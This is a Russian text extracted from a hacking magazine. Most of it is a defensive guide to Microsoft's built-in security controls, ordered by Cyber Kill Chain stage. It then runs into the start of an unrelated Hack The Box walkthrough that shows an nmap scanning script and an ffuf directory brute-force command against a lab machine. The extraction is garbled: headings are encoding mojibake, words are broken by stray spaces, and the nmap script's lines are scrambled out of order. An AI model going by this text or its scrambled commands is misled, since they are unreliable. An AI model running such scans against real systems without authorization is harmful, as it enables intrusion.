затель но при обре тать и нас тра ивать слож- 
ные дорогос тоящие прог рам мные про дук- 
ты. Вмес те с тем в арсе нале Microsoft име- 
ется мно жес тво инс тру мен тов безопас- 
ности, которые при пра виль ной нас трой ке
прек расно работа ют «из короб ки». Давай
раз берем их в соот ветс твии с моделью
Cyber Kill Chain.

Мож но по-раз ному отно сить ся к про дук ции и сер висам кор порации Microsoft,
но нель зя не приз нать, что она пред лага ет боль шой ассорти мент инс тру мен-
тов для обес печения информа цион ной безопас ности как сво их собс твен ных
прог рамм, так и про дук тов, соз дава емых на их базе. В пер вую оче редь сто ит
отме тить зна читель ное количес тво встро енных механиз мов защиты
информа ции в опе раци онных сис темах и кор поратив ных про дук тах,
за которые ты (точ нее, твой работо датель) уже зап латил, но на прак тике мало
исполь зуешь.

Мы при вык ли стро ить информа цион ную защиту с исполь зовани ем «внеш- 
них» средств. Сот ни и тысячи ком паний и стар тапов спе циали зиру ются имен- 
но на таких тех ничес ких решени ях и про ектах. При этом мы забыва ем (на мой
взгляд, абсо лют но незас лужен но) об инс тру мен тах и механиз мах защиты
информа ции, которые встро ены в обще сис темное и прик ладное ПО, а так же
о его небезо пас ных дефол тных кон фигура циях. Ошиб ки в нас трой ке таких
при ложе ний «не перек роют» никакие, даже самые прод винутые средс тва.

В этой статье я хочу сис темати зиро вать и при ори тизи ровать инс тру мен ты
и механиз мы защиты информа ции для in-house кор поратив ных IT-
инфраструк тур, пос тро енных на про дук тах кор порации Microsoft в соот ветс- 
твии с . При рас ста нов ке при ори тетов я сде лаю
акцент на раз рушении цепоч ки ата ки на мак сималь но ран ней ста дии.

мо делью Cyber Kill Chain

Для начала зафик сиру ем условную типовую кор поратив ную IT-
инфраструк туру:

ло каль ная Active Directory Domain Services;•
сер верные опе раци онные сис темы: Windows Servers 2016 и выше;•
кли ент ские опе раци онные сис темы: Windows 10;•
кли ент ский веб-бра узер: Microsoft Edge;•
поч товые сер веры: Exchange Server 2016 и выше.•

Ты навер няка стал кивал ся с такими IT-инфраструк турами, пос коль ку в нашей
стра не их дос таточ но мно го. Сво евре мен ный хар денинг в таких инфраструк- 
турах, которо му уже уде лялось вни мание в дру гих ,
сей час не фоновая задача, а одна из пер вооче ред ных. В том чис ле при нимая
во вни мание, что с рын ка ушли некото рые средс тва защиты информа ции.

пуб ликаци ях на «Хакере»

Рас смат рива емые инс тру мен ты и механиз мы информа цион ной безопас- 
ности я раз делю на две груп пы. Пер вая груп па — это условно «пас сивные»
(детек тиру ющие) инс тру мен ты, которые могут обна ружить подоз ритель ную
активность или инци дент и уве домить о них поль зовате ля. Вто рая — условно
«активные» (реаги рующие) инс тру мен ты, которые могут пре дот вра тить кон- 
крет ные дей ствия (нап ример, зап ретить или заб локиро вать их). Они в сос- 
тоянии сок ратить пло щадь ата ки, могут скор ректи ровать дей ствия субъ екта
дос тупа или сам объ ект дос тупа (к при меру, изо лиро вать или перемес тить
его) либо ком пенси ровать кон крет ные дей ствия — усложнить усло вия дос- 
тупа, зат ребовать допол нитель ные под твержда ющие дей ствия и так далее.
Такое деление поз волит избе жать иллю зии того, что прос то ведение жур- 
налов регис тра ции событий (вклю чение тобой ауди та) физичес ки
или логичес ки может помешать ата кующе му выпол нить активное несан кци- 
они рован ное дей ствие.

ÐÅÇÓËÜÒÀÒÛ ÑÎÏÎÑÒÀÂËÅÍÈß È ÏÐÈÎÐÈÒÈÇÀÖÈÈ

ÈÍÑÒÐÓÌÅÍÒÎÂ ÏÎ ØÀÃÀÌ CYBER KILL CHAIN

Ðàçâåäêà (Reconnaissance)

Цель ата кующе го: соб рать информа цию о целях ата ки•
Цель защища юще гося: сок ратить прос транс тво для раз ведки и пло щадь
для ата ки

•

Нап равле ниями раз ведки в пер вую оче редь ста новят ся люди (работ ники,
под рядчи ки, кли енты) и IT-инфраструк туры, отно сящи еся к цели ата ки.
Исходны ми дан ными зачас тую выс тупа ет толь ко наз вание орга низа ции,
отдель но взя тый веб-сайт, кон крет ная сис тема. Ата кующе му дос тупны раз- 
ные методы сбо ра информа ции: от обще дос тупных источни ков и соци аль ной
инже нерии до исполь зования спе циаль ных сер висов и инс тру мен тов.

«Ïàññèâíûå» èíñòðóìåíòû

Это необ ходимо сде лать в свя зи с тем, что по умол чанию аудит Microsoft
Defender Firewall отклю чен.

• Âêëþ ÷èòü àóäèò Microsoft Defender Firewall (pfirewall.log).

«Àêòèâíûå» èíñòðóìåíòû

 Отклю чить (бло- 

киро вать) все неис поль зуемые пор ты и вхо дящие соеди нения, что бы сок- 
ратить пло щадь ата ки и прос транс тво для сетевой раз ведки.

• Èñ ïîëü çîâàòü áðàí äìà óýð â Microsoft Defender.

 Вклю чить «Зап- 

рос перед дос тупом» (Ask before accessing), что бы умень шить веро ятность
рас кры тия дан ных ата кующе му в ходе раз ведки.

• Îã ðàíè÷èòü ðàç ðåøåíèÿ äëÿ âåá‑ñàé òîâ â Microsoft Edge â ÷àñ- 

òè ñáî ðà äàí íûõ î ðàñ ïîëîæå íèè ïîëü çîâàòå ëÿ.

 Сок ратить воз можнос ти эну мера ции поль зовате лей и групп
в локаль ной базе SAM и Active Directory в ходе раз ведки. По умол чанию
параметр «Сетевой дос туп: огра ничить дос туп кли ентов, которым раз- 
решены уда лен ные вызовы SAM» (Network access: Restrict clients allowed
to make remote calls to SAM) нас тро ен сле дующим обра зом: для более ста- 
рых опе раци онных сис тем про вер ка дос тупа не выпол няет ся, для более
новых пре дос тавля ется дос туп толь ко чле нам встро енной груп пы «Адми- 
нис тра торы» (BUILTIN\Administrators).

• Îã ðàíè÷èòü óäà ëåí íûå âûçîâû ê Security Account Manager

(SAM).

 Сок ратить воз можнос ти эну мера ции сес сий
для опре деле ния узлов, где поль зователь ские и сер висные учет ные
записи были залоги нены. Это необ ходимо потому, что по умол чанию про- 
шед шим про вер ку (Authenticated Users) поль зовате лям раз решено при- 
менять метод NetSessionEnum.

• Îã ðàíè÷èòü ïîëü çîâàòå ëÿì, ïðî øåä øèì ïðî âåð êó, èñïîëü- 

çîâàíèå NetSessionEnum.

Âîîðóæåíèå (Weaponization)

Цель ата кующе го: под готовить вре донос ное ПО •
Цель защища юще гося:  обес печить орга низа цион ную
и тех ничес кую готов ность к пос леду ющим ста диям ата ки

• улы бать ся и махать

Ата кующе му дос тупно нес коль ко вари антов под готов ки «воору жения»: самос- 
тоятель но раз работать с нуля, вос поль зовать ся обще дос тупны ми инс тру мен- 
тами (бес плат ными ути лита ми, опен сор сны ми инс тру мен тами, сли тыми при- 
ложе ниями), пре обра зовать обще дос тупные инс тру мен ты (дорабо тать скрип- 
ты или модули, «пере упа ковать» ути литы) и, конеч но же, купить их. Реаль ным
огра ниче нием выс тупа ет толь ко дос тупный зло умыш ленни ку бюд жет.

На прак тике спе циалис ты по защите информа ции не могут серь езно вли- 
ять на ата кующе го за пре дела ми под кон троль ной им IT-инфраструк туры. Тут
мож но пореко мен довать быть в кур се сов ремен ных тен денций в сфе ре раз- 
работ ки и при мене ния вре донос ного ПО (для это го дос таточ но регуляр но
читать «Хакер»), а так же сос редото чить ся на соз дании и под держа нии орга- 
низа цион ных и тех ничес ких усло вий, необ ходимых для работы спе циалис тов
по защите информа ции.

Äîñòàâêà (Delivery)

Цель ата кующе го: дос тавить под готов ленное вре донос ное ПО в IT-
инфраструк туру, отно сящу юся к цели ата ки, обхо дя средс тва защиты
информа ции

•

Цель защища юще гося: сок ратить пути и веро ятность успешной дос тавки
вре донос ного ПО 

•

Ата кующе му дос тупно нес коль ко каналов дос тавки, вклю чая элек трон ную поч- 
ту, съем ные носите ли информа ции, веб-сайт (в том чис ле watering hole),
а так же клас сичес кая экс плу ата ция уяз вимос тей сер висов и ресур сов, рас- 
положен ных в ата куемом перимет ре. Сто ит отме тить, что прак тичес ки все
вари анты ата ки в той или иной мере реали зуют ся с исполь зовани ем соци аль- 
ной инже нерии.

«Ïàññèâíûå» èíñòðóìåíòû

 — в свя зи с тем,
что по умол чанию аудит (Windows event log) для SmartScreen отклю чен.

• Âêëþ ÷èòü àóäèò Microsoft Defender SmartScreen

 —

по умол чанию дей ствия, выпол няемые вла дель цем поч тового ящи ка,
не регис три руют ся (аудит отклю чен).

• Âêëþ ÷èòü àóäèò äëÿ ïî÷ òîâûõ ÿùè êîâ â Exchange Server

«Àêòèâíûå» èíñòðóìåíòû

 Это поз- 

волит сок ратить посеще ние потен циаль но опас ных веб-сай тов, а так же
заг рузку вре донос ных или нежела тель ных при ложе ний.

• Èñ ïîëü çîâàòü ôèëü òð SmartScreen â Microsoft Defender.

 Это поз волит сок ратить потен циаль ные источни ки нежела тель ных
или вре донос ных писем. Агент защиты от нежела тель ной поч ты дос тупен
для Exchange 2016 и Exchange 2019, но по умол чанию он не уста нов лен.

• Âêëþ ÷èòü àãåíò çàùèòû îò íåæåëà òåëü íîé ïî÷ òû (Antispam

agent).

 Сок ратит воз можнос ти дос тавки вре донос ного ПО на
целевой хост через пись ма. Отме чу, что по умол чанию анти вирус ный поч- 
товый агент вклю чен и дефол тное дей ствие — уда ление сооб щения (эту
нас трой ку в некото рых слу чаях нуж но под тюнить).

• Èñ ïîëü çîâàòü (íàñ òðî èòü) àíòè âèðóñ íûé ïî÷ òîâûé àãåíò

(Malware agent).

 Это сок раща ет воз можнос ти дос тавить вре донос ное ПО на целевой

хост через внеш ние устрой ства.

• Îã ðàíè÷èòü èñïîëü çîâàíèå íåàâ òîðèçî âàí íûõ âíåø íèõ óñòðîé- 

ñòâ.

 Тут ком мента риев не тре бует ся: наз начение это го дей ствия впол не

оче вид но.

• Îò êëþ ÷èòü àâòî çàïóñê (Autorun è AutoPlay) äëÿ âíåø íèõ óñòðîé- 

ñòâ.

. Поз волит изо лиро вать потен циаль но

вре донос ное ПО и сок ратить воз можнос ти дос тавить его на целевой хост.

• Âêëþ ÷èòü Windows Sandbox

. Поможет изо- 
лиро вать недове рен ные веб-сай ты и фай лы.

• Âêëþ ÷èòü Application Guard â Microsoft Defender

Ýêñïëóàòàöèÿ (Exploitation)

Цель ата кующе го: получить дос туп на опре делен ный хост с дос таточ ными
пра вами для уста нов ки бэк дора

•

Цель защища юще гося: сок ратить вари анты и веро ятность получить несан- 
кци они рован ный дос туп

•

Ата кующий может исполь зовать все вари анты добычи кре дов (guessing,
cracking и дру гие), перепол нение буфера (buffer overow), ата ки «человек
посере дине» (man in the middle) и, конеч но же, соци аль ную инже нерию. Хотя
Cyber Kill Chain опи сыва ет цель это го эта па имен но как уста нов ку бэк доров,
в реаль нос ти сущес тву ют и дру гие вари анты раз вития событий. Но мы будем
при дер живать ся пред ложен ной нам модели.

«Ïàññèâíûå» èíñòðóìåíòû

 (осо бен но Account Management,

Policy Change, Privilege Use, System).

• Âêëþ ÷èòü Advanced Audit Policy

• Âêëþ ÷èòü àóäèò Lsass.exe.

 (под робнос ти ты можешь

про читать в статье « »).

• Èñ ïîëü çîâàòü System Monitor (Sysmon)

Sysmon для безопас ника

«Àêòèâíûå» èíñòðóìåíòû

 Это сок ратит ата кующе му воз можнос ти исполь зовать утек шие

пароли поль зовате лей (про вер ка паролей, сох ранен ных в веб-бра узе ре).

• Âêëþ ÷èòü ìîíèòîð ïàðîëåé (Password monitor) â Microsoft

Edge.

 Этот шаг поз волит избе жать кра жи паролей поль- 

зовате лей, вышед ших из опе раци онной сис темы.

• Èñ ïîëü çîâàòü äèñ ïåò÷åð ïàðîëåé (Password manager)

â Microsoft Edge.

 Сок раща ет воз можнос ти украсть пароли от локаль ных

учет ных записей.

• Èñ ïîëü çîâàòü Local Administrator Password Solution (LAPS)

äëÿ õðà íåíèÿ ïàðîëåé ëîêàëü íûõ ó÷åò íûõ çàïèñåé îïå ðàöè- 

îííîé ñèñ òåìû.

 Необ ходимо, что бы исклю чить воз можность авто лого- 

на для ата кующе го (без вво да пароля). По умол чанию параметр «Кон соль
вос ста нов ления: раз решить авто мати чес кий вход адми нис тра тора»
(Recovery Console: Allow automatic administrative logon) вклю чен.

• Îò êëþ ÷èòü àäìè íèñ òðà òèâ íûé àâòî ìàòè ÷åñ êèé âõîä â êîí ñîëü

âîñ ñòà íîâ ëåíèÿ.

 Сок раща ет воз можнос ти ком про- 

мета ции учет ных записей, в том чис ле с исполь зовани ем брут форса.

• Îò êëþ ÷èòü èëè ïåðå èìå íîâàòü âñòðî åííóþ ó÷åò íóþ çàïèñü

àäìè íèñ òðà òîðà (Administrator).

 Сни жает воз- 

можность ком про мета ции учет ных записей, в том чис ле с исполь зовани ем
брут форса извес тных ата кующе му уче ток.

• Îò êëþ ÷èòü âñå íåèñ ïîëü çóåìûå ó÷åò íûå çàïèñè.

 Сок раща ет воз можнос ти ком про мета ции учет ных
записей, в том чис ле брут форса «под све чен ной» сис темой учет ной
записи. По умол чанию параметр «Инте рак тивный вход в сис тему: не отоб- 
ражать све дения о пос леднем вхо де в сис тему» (Interactive logon: Do not
display last user name) вык лючен.

• Íå âûâîäèòü èìÿ ïîñ ëåäíå ãî âõî äèâ øåãî â îïå ðàöè îííóþ ñèñ- 

òåìó ïîëü çîâàòå ëÿ.

Огра ничи вает воз можность ком про мета ции сис темы за счет исполь- 
зования «под ломлен ных» в дру гом мес те учет ных записей. По умол чанию
параметр «Учет ные записи: бло киро вание учет ных записей Microsoft»
(«Accounts: Block Microsoft accounts») не опре делен для сер веров кон- 
трол леров домена и вык лючен для рядовых сер веров и кли ент ских компь- 
юте ров.

• Îò êëþ ÷èòü èñïîëü çîâàíèå Microsoft-àêêà óíòîâ äëÿ Windows.

 (исклю чение: сер веры кон трол леров домена).

Это поз воля ет сок ратить воз можнос ти ком про мета ции учет ных записей,
в том чис ле с при мене нием атак pass the hash.

• Çàï ðåòèòü àäìè íèñ òðà òîðàì äîìåíà (Domain Admins

è Enterprise Admins) âõî äèòü íà êëè åíò ñêèå êîìïü þòå ðû

è ðÿäîâûå ñåð âåðû

 Смысл этой нас трой- 

ки пол ностью ана логи чен пре дыду щему пун кту.

• Âêëþ ÷èòü Windows Defender Credential Guard.

 Лиша ет зло умыш ленни ков

воз можнос ти украсть пароли из памяти хос та. По умол чанию очис тка сес-
сион ных дан ных не выпол няет ся (logon session credentials).

• Îã ðàíè÷èòü âðå ìÿ õðà íåíèÿ ñåñ ñèîí íûõ äàí íûõ äëÿ Local

Security Authority Server Service (LSASS).

 Сок раща ет воз- 

можнос ти инъ екций кода для кра жи паролей из памяти хос та. Отме чу, что
по умол чанию для Windows RT 8.1 защита  всег да вклю чена
и не может быть отклю чена.

• Âêëþ ÷èòü çàùèòó Local Security Authority (LSA).

lsass.exe

. Сок раща ет

воз можнос ти кра жи кре дов из кеша хос та. Эту нас трой ку рекомен дует ся
исполь зовать толь ко в слу чае край ней необ ходимос ти (нап ример,
при наличии явных исклю чений, на устрой ствах для коман дировок, в изо- 
лиро ван ных сег ментах сети). По умол чанию параметр «Инте рак тивный
вход в сис тему: количес тво пре дыду щих под клю чений к кешу (в слу чае
отсутс твия дос тупа к кон трол леру домена)» (Interactive logon: Number
of previous logons to cache (in case domain controller is not availabl)
для рядовых сер веров и кли ент ских компь юте ров допус кает десять
логонов.

• Îò êëþ ÷èòü õðà íåíèå ïðå äûäó ùèõ ëîãîíîâ â êåøå

 Поз воля ет избе жать кра жи

паролей с исполь зовани ем Mimikatz и дру гих подоб ных инс тру мен тов.
По умол чанию пра ва на исполь зование режима отладки пре дос тавле ны
встро енной груп пе «Адми нис тра торы» (BUILTIN\Administrators).

• Âêëþ ÷èòü ïîëèòè êó Debug Program.

 Сни жает веро ятность кра жи кре дов,
а имен но Kerberoasting. По умол чанию параметр «Сетевая безопас ность:
нас трой ка типов шиф рования, раз решен ных Kerberos» (Network security:
Congure encryption types allowed for Kerberos) под держи вает RC4.

• Âêëþ ÷èòü AES äëÿ Kerberos.

 Пре дот вра щает перех ват кре дов при переда че по сети.

По умол чанию параметр «Кли ент сети Microsoft: отправ лять незашиф- 
рован ный пароль сто рон ним SMB-сер верам» (Microsoft network client:
Send unencrypted password to connect to third-party SMB servers) не опре- 
делен для сер веров кон трол леров домена и вык лючен для рядовых сер- 
веров и кли ент ских компь юте ров.

• Îò êëþ ÷èòü ïåðåäà ÷ó ïàðîëåé â îòêðû òîì âèäå ñòî ðîí íèì SMB-

ñåð âåðàì.

 Сок раща ет воз можнос ти для атак типа man in the

middle. По умол чанию параметр «Кли ент сети Microsoft: исполь зовать циф- 
ровую под пись (всег да)» (Microsoft network client: Digitally sign
communications (always)) для кли ент ских компь юте ров отклю чен.

• Âêëþ ÷èòü öèô ðîâóþ ïîä ïèñü ñîîá ùåíèé äëÿ Microsoft êëè åíò- 

ñêèõ êîìïü þòå ðîâ.

 Сок раща ет воз можнос ти для атак типа man in the middle.

По умол чанию параметр «Сер вер сети Microsoft: исполь зовать циф ровую
под пись (всег да)» (Microsoft network server: Digitally sign communications
(always)) для рядовых сер веров отклю чен.

• Âêëþ ÷èòü öèô ðîâóþ ïîä ïèñü ñîîá ùåíèé äëÿ ñåð âåðîâ

Microsoft.

 То

же, что и в пре дыду щих двух пун ктах. По умол чанию параметр «Кон трол лер
домена: тре бова ние циф ровой под писи для LDAP-сер вера» (Domain
controller: LDAP server signing requirements) не опре делен для сер веров
кон трол леров домена.

• Âêëþ ÷èòü òðå áîâà íèå öèô ðîâîé ïîä ïèñè äëÿ LDAP-ñåð âåðà.

 Луч ше
вклю чить бло киров ку (Block) для сок ращения век торов атак, исполь зующих
Office-при ложе ния, скрип ты и вре донос ное ПО, внеш ние устрой ства
и дру гие подоб ные век торы.

• Âêëþ ÷èòü Exploit Guard ïîëèòè êè â Windows Defender.

, но с их обя- 

затель ным пред варитель ным тес тирова нием. Это поз волит сок ратить воз-
можнос ти экс плу ата ции извес тных уяз вимос тей.

• Âêëþ ÷èòü àâòî îáíîâëå íèÿ îïå ðàöè îííîé ñèñ òåìû

Óñòàíîâêà (Installation)

Цель ата кующе го: уста новить бэк дор для вза имо дей ствия с C&C-сер- 
верами

•

Цель защища юще гося: сок ратить вари анты и веро ятность уста новить бэк- 
дор

•

Ата кующий может добавить бэк дор в спи сок прог рамм, которые заг ружа ются
при запус ке опе раци онной сис темы, а так же модифи циро вать биб лиоте ки,
которые заг ружа ются при запус ке опе раци онной сис темы.

«Ïàññèâíûå» èíñòðóìåíòû

 (осо бен но Detailed Tracking).• Âêëþ ÷èòü Advanced Audit Policy

• Èñ ïîëü çîâàòü Sysmon.

«Àêòèâíûå» èíñòðóìåíòû

 (отно сит ся к филь тру SmartScreen

в Microsoft Defender). Усложня ет ата кующе му уста нов ку нежела тель ных
при ложе ний. По умол чанию бло киров ка потен циаль но нежела тель ных при- 
ложе ний отклю чена.

• Áëî êèðî âàòü ïîòåí öèàëü íî íåæåëà òåëü íûå ïðè ëîæå íèÿ

ñ èñïîëü çîâàíè åì Microsoft Edge

 UAC — такая себе

защита, но луч ше, если она будет вклю чена.

• Èñ ïîëü çîâàòü User Account Control (UAC).

 Сок раща ет количес тво драй- 

веров и при ложе ний, раз решен ных для запус ка на хос тах (ины ми сло- 
вами — умень шает пло щадь ата ки).

• Âêëþ ÷èòü ïîëèòè êó Windows Defender Application Control

(WDAC) èëè èñïîëü çîâàòü AppLocker.

Óïðàâëåíèå è êîíòðîëü (Command and Control)

Цель ата кующе го: соз дать скры тый канал ком муника ции меж ду хос- 
том-жер твой и C&C-сер верами

•

Цель защища юще гося: сок ратить вари анты и веро ятность успешно го вза- 
имо дей ствия с C&C-сер верами

•

Ата ка может раз вивать ся по раз ным нап равле ниям, которые зависят от осо- 
бен ностей кон крет ной IT-инфраструк туры. Зло умыш ленни ки могут исполь- 
зовать тун нелиро вание, соци аль ные сети и дру гие методы ком муника ции.

«Ïàññèâíûå» èíñòðóìåíòû

• Âêëþ ÷èòü àóäèò Microsoft Defender Firewall.

 (осо бен но Detailed Tracking).• Âêëþ ÷èòü Advanced Audit Policy

 (осо бен но Event ID 3: Network connection, Event

ID 22: DNSEvent).

• Èñ ïîëü çîâàòü Sysmon

«Àêòèâíûå» èíñòðóìåíòû

 Отклю чить (бло- 
киро вать) все неис поль зуемые пор ты для сок ращения вари антов сетевой
ком муника ции с ата кующим.

• Èñ ïîëü çîâàòü áðàí äìà óýð â Microsoft Defender.

Äåéñòâèÿ ïî öåëÿì (Actions on Objectives)

Цель ата кующе го: дос тичь цели ата ки или перей ти на новый виток цепоч ки
ата ки

•

Цель защища юще гося: миними зиро вать ущерб, сок ратить вари анты
и веро ятность перей ти на новый виток цепоч ки ата ки

•

Мо жет показать ся, что, если ата ка завер шилась успе хом, уже поз дно пить
бор жоми. Но и здесь мы можем и дол жны соз дать труд ности для ата кующе го,
которо му дос тупны методы, огра ничен ные воз можнос тями его цен тра
управле ния и уров нем получен ного дос тупа. На новом вит ке ата кующий
может:

за нять ся внут ренним ска ниро вани ем сети;•
ис поль зовать уяз вимос ти в опе раци онной сис теме, что бы повысить при- 
виле гии или зах ватить новый узел (EternalBlue, BlueKeep);

•

соз дать новые учет ные записи с нуж ными при виле гиями;•
соз дать вре мен ные учет ные записи для выпол нения каких-либо дес трук- 
тивных дей ствий в сис теме;

•

из менить при виле гии сущес тву ющих учет ных записей.•

«Ïàññèâíûå» èíñòðóìåíòû

 (осо бен но Object Access).• Âêëþ ÷èòü Advanced Audit Policy

• Âêëþ ÷èòü àóäèò äëÿ ïî÷ òîâûõ ÿùè êîâ â Exchange Server.

• Èñ ïîëü çîâàòü Sysmon.

«Àêòèâíûå» èíñòðóìåíòû

 Поз воля ет сок ратить воз можнос ти нежела тель ного, слу- 

чай ного или несан кци они рован ного дос тупа к дан ным на хос тах.

• Ðàç ãðà íè÷èòü äîñ òóï ê äàí íûì, èñïîëü çóÿ ìåõàíèç ìû

Discretionary access control list (DACL) è/èëè Dynamic Access

Control (DAC).

 То же,
что и в пре дыду щем слу чае. По умол чанию параметр «Сетевой дос туп:
раз решать ано ним ный дос туп к общим ресур сам» (Network access: Shares
that can be accessed anonymously) не опре делен.

• Çàï ðåòèòü àíî íèì íûé äîñ òóï ê ëþáûì îáùèì ðåñóð ñàì.

 Сок ратить воз можнос ти нежела тель ной, слу чай ной или несан кци- 

они рован ной переда чи дан ных (эксфиль тра ции).

• Èñ ïîëü çîâàòü Microsoft Endpoint data loss prevention (Endpoint

DLP).

Смысл этой нас трой ки ана логи чен пре дыду щему пун кту.

• Èñ ïîëü çîâàòü (íàñ òðî èòü ïîëèòè êè) DLP â Exchange Server.

 Сни жает веро ятность слу чай но рас крыть дан ные.
• Âêëþ ÷èòü ïîä äåð æêó Windows Information Protection (WIP)

â Microsoft Edge.

Сок раща ет воз можнос ти горизон таль ного переме щения ата кующе го
в инфраструк туре сети.

• Çàï ðåòèòü ñåòåâîé âõîä äëÿ âñåõ ëîêàëü íûõ àäìè íèñ òðà òîðîâ.

 Сни жает веро- 

ятность нежела тель ной переда чи дан ных (эксфиль тра ции). По умол чанию
адми нис тра тив ный шаб лон «Вык лючить воз можнос ти пот ребите- 
ля Microsoft» (Turn off Microsoft consumer experience) не нас тро ен, но при- 
ложе ния и пред ложения треть их сто рон пре дос тавля ются сис теме.
Исполь зуй эту нас трой ку толь ко на кри тичес ки важ ных хос тах.

• Îò êëþ ÷èòü âîç ìîæíîñ òè ïîò ðåáèòå ëÿ Microsoft.

 Име ет смысл исполь- 

зовать нас трой ку «Диаг ности чес кие дан ные отклю чены (безопас ность)»
(Diagnostic data off (Security)) для пре дот вра щения нежела тель ной переда- 
чи дан ных. По умол чанию параметр «Обя затель ные диаг ности чес кие дан- 
ные (базовые)» (Required diagnostic data (Basic)) не нас тро ен. Исполь зуй
эту воз можность толь ко на кри тичес ки важ ных хос тах.

• Îò êëþ ÷èòü ñáîð äèàã íîñòè ÷åñ êèõ äàí íûõ.

 Шиф рование пре дот вра щает кра жу дан ных

с уте рян ных, укра ден ных или неп равиль но выведен ных из экс плу ата ции
компь юте ров.

• Èñ ïîëü çîâàòü BitLocker.

 Пре дот вра щает вре мен ный отказ в обслу- 

жива нии для кли ент ских компь юте ров. По умол чанию параметр «Завер- 
шение работы: раз решить завер шение работы сис темы без выпол нения
вхо да в сис тему» (Shutdown: Allow system to be shut down without having
to log on) для кли ент ских компь юте ров вклю чен.

• Îò êëþ ÷èòü âîç ìîæíîñòü çàâåð øèòü ðàáîòó ñèñ òåìû áåç âõî äà

â îïå ðàöè îííóþ ñèñ òåìó.

ÏÎÄÂÎÄß ÈÒÎÃÈ

Боль шей частью рас смот ренных здесь инс тру мен тов и механиз мов защиты
информа ции мож но цен тра лизо ван но управлять через груп повые полити ки
(Group Policy) или PowerShell-коман длет. Допол нитель но могут исполь зовать- 
ся отдель ные решения:

;• Microsoft Sentinel
;• Microsoft Endpoint Manager

.• Microsoft Advanced Threat Analytics

Ес ли нет воз можнос ти дви гать ся по таб лице шаг за шагом и тре бует ся допол- 
нитель ная при ори тиза ция, я бы выделил как глав ные сле дующие дей ствия:

сде лать все, что отно сит ся к защите паролей и кре дов (credentials);•
«вык рутить» на мак симум Windows Defender (осо бен но, если это твое
единс твен ное хос товое решение клас са AV/HFW/EDR);

•

вклю чить аудит событий в час ти Advanced Audit Policy.•

Ко неч но, в рам ках одной статьи нель зя охва тить все инс тру мен ты и механиз- 
мы защиты информа ции. Пред ложен ный спи сок может (и дол жен) рас ширять- 
ся и уточ нять ся. При этом важ но пом нить, что пред варитель ное тес тирова ние
и «нережу щий режим» (условно audit mode) для пред ложен ных инс тру мен- 
тов — это обя затель ные мероп риятия в каж дой кон крет ной IT-инфраструк- 
туре, с уче том нюан сов работы тво их сис тем и осо бен но legacy-при ложе ний.

Ес ли же все-таки тебе не уда лось сво евре мен но обна ружить и локали- 
зовать инци дент информа цион ной безопас ности, в резуль тате чего
инфраструк туре был нанесен ущерб (то есть дан ные или сис темы пос тра- 
дали), нужен понят ный и рабочий «план Б».

В таком печаль ном слу чае у нас есть условно два основных вари анта:
вос ста новить нас трой ки по умол чанию и сно ва прой тись по спис ку;•
вос ста новить ся, исполь зуя gold image или акту аль ную резер вную копию.•

Важ но не забыть перекон фигури ровать инс тру мен ты в рам ках всей под кон- 
троль ной IT-инфраструк туры, при нимая во вни мание исполь зован ную ата- 
кующим уяз вимость. При этом сло во «уяз вимость» нуж но понимать
в широком смыс ле, то есть сле дует испра вить небезо пас ную кон фигура цию,
а не прос то ждать оче ред ного обновле ния соф та.

mailto:tester-ak@yandex.ru
https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf
https://xakep.ru/tag/hardening/
https://xakep.ru/2018/02/15/sysmon-logs/
https://docs.microsoft.com/en-us/azure/sentinel/overview
https://www.microsoft.com/en-us/security/business/microsoft-endpoint-manager
https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata
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ВЗЛОМ

В этой статье я покажу про хож дение хар- 
довой по слож ности машины под наз вани- 
ем Hancliffe. На этот раз мы не толь ко най- 
дем и модер низиру ем готовые экс пло иты,
но и напишем свой, который поможет
получить управле ние в при виле гиро ван ном
кон тек сте.

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ

Как всег да, добав ляем IP-адрес машины в :/etc/hosts

10.10.11.115    hancliffe.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та.

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ви дим три откры тых пор та, при чем за все три отве чает веб-сер вер Nginx
1.21.0. Но на пор тах 80 и 8000 рас положе ны сай ты, поэто му нач нем с них.

Глав ная стра ница hancliffe.htb

Глав ная стра ница hancliffe.htb:8000

Так мы получа ем информа цион ную стра ницу Nginx на пор те 80 и стра ницу
авто риза ции Stateless Password Manager на пор те 8000. Со вто рым сай том
все более-менее понят но, а вот на пер вом явно может най тись что-то,
помимо информа цион ной стра нич ки. Давай поищем! Для перебо ра катало- 
гов я буду исполь зовать ути литу .ffuf

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t
 — URL;• -u

 — исклю чить из резуль тата отве ты с кодом 403.• -fc

За даем нуж ные парамет ры и запус каем его:

ffuf  256 -u http://hancliffe.htb/FUZZ -t -w directory_2.3_medium_
lowercase.txt 

Ре зуль тат ска ниро вания катало гов с помощью ffuf

В ито ге находим один новый каталог, при зап росе которо го нам воз вра щают
код отве та 302 — редирект на дру гой адрес. Если открыть этот адрес в бра- 
узе ре, нас перенап равят на ./nuxeo/Maintenance

